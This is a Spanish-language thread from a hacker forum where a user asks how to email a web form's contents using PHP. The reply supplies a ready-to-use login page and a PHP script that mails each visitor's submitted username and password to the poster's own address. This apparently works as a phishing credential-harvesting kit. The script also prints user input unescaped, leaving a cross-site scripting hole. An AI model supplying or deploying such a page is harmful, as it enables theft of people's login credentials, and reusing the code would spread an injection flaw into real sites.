hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
08 de ſeptiembre de 2008, 03:53:29
Noticias: ¿No te llega el email de confirmacion?
Para ver este enlace Registrate o Inicia Sesion
> leer aqui

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Desarrollo Web
| | |-+  Php (Moderador: shevchenko)
| | | |-+  Enviar Formulario por email usando PHP?
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Enviar Formulario por email usando PHP?  (Leído 446 veces)
iovan****/-
NZ2
**
Desconectado Desconectado

Mensajes: 137



Ver Perfil
« : 29 de ſeptiembre de 2007, 07:21:57 »

Hola, Pues edito este tema, estaba pidiendo ayuda para mandar un formulario a una base de datos, pero la verdad no se ni lo que estoy diciendo XD!


Bueno amigos, solo les pido algo sencillo, espero que puedan ayudarme, Gracias!


Quiero que mi formulario me llege a mi e-mail, usando PHP, Creo?

Pero lo que mas quiero, es que el usuario no tenga que habrir su cliente de correo electronico para enviar su formulario.

Cual seria el codigo del PHP?

Podria decirme que valores modifico en el PHP?


Muchisismas GRACIAS!
« Última modificación: 01 de Octubre de 2007, 02:19:23 por iovan****/- » En línea


              
Xhushito
Recien llegado
*
Desconectado Desconectado

Mensajes: 16


Ver Perfil
« Respuesta #1 : 10 de Enero de 2008, 03:17:40 »

Hola, sabes este tema ya es muy sencillo, ya ha sido posteado varias veces y te recomiendo que antes de postear algo, revises el foro, quizá por eso nadie te ha respondido. Aquí te dejo la solución, OJO: aclaro que este script no fue hecho por mí, para que no vengais a decir que me estoy adueñando de las cosas. aquí va.

1 archivo .htm, este es el formulario en sí.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"
Para ver este enlace Registrate o Inicia Sesion">
<html>
<head>
<title>Documento sin t&iacute;tulo</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<form action="envia.php" method="post">
<table width="60%" align="center" >
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td><div align="right"><strong>Usuario</strong></div></td>
    <td><input name="usuario" type="text" id="usuario"></td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td><div align="right"><strong>Contrase&ntilde;a</strong></div></td>
    <td><input name="clave" type="password" id="clave"></td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td><div align="right">
      <input type="submit" name="Submit" value="Enviar">
    </div></td>
    <td><input type="reset" name="Submit2" value="Restablecer"></td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
</table>
</body>
</html>

Este es el script que los procesa, recuerdo que debes guardarlo con extensión php o no te funcionará. En este caso se le `puso de nombre "envia.php" por eso en el documento html se hace referencia a él, en el metodo "POST".

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "
Para ver este enlace Registrate o Inicia Sesion">
<html>
<head>
<title>Documento sin t&iacute;tulo</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body,td,th {
   font-family: Arial, Helvetica, sans-serif;
   color: black;
}
body {
   background-image: url(imagenes/tela_roja.jpg);
}
a {
   font-family: Arial, Helvetica, sans-serif;
   color: black;
}
a:visited {
   color: #FFFF00;
}
-->
</style>
</head>

<body>
<center>
 

  <hr size="4">
<h3>
    <p> 
<table width="60%" align="center" >
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td colspan="2" rowspan="2">
   <?php

$mensaje = "Datos de Usuario\n";
$mensaje .= "Usuario: " .$_POST["usuario"] . "\n";
$mensaje .= "Contraseña: " .$_POST["clave"] . "\n";
$mail = "TUCORREO@hotmail.com";
$usuario = $_POST['usuario'];
$clave = $_POST['clave'];

if
(empty($usuario))
{
echo "Ingresa tu usuario porfavor.

 <a href=javascript:history.back()>REGRESAR[/url]

";
}
if (empty($clave))
{
echo "Ingresa tu contraseña porfavor.

 <a href=javascript:history.back()>REGRESAR[/url]

";
}
else {
mail($mail, "Datos de Usuario", $mensaje, "From: DarkAngel <webmaster@PAGINA.com>");
echo "Gracias $usuario , sus datos han sido enviados correctamente al correo $mail";
}

?>
      <div align="center"></div></td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
</table>

    <p>       
    <p>  <h3>  </h3>

</body>
</html>

En este script modificas solo donde dice TUCORREO@hotmail.com y bueno el parámetro del título del mensaje, espero que este post sirva para muchos otros que tienen la misma duda y dejais de redundar en el mismo tema. El Script fue desarrollado por DarkAngel. (aclaro).
En línea
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online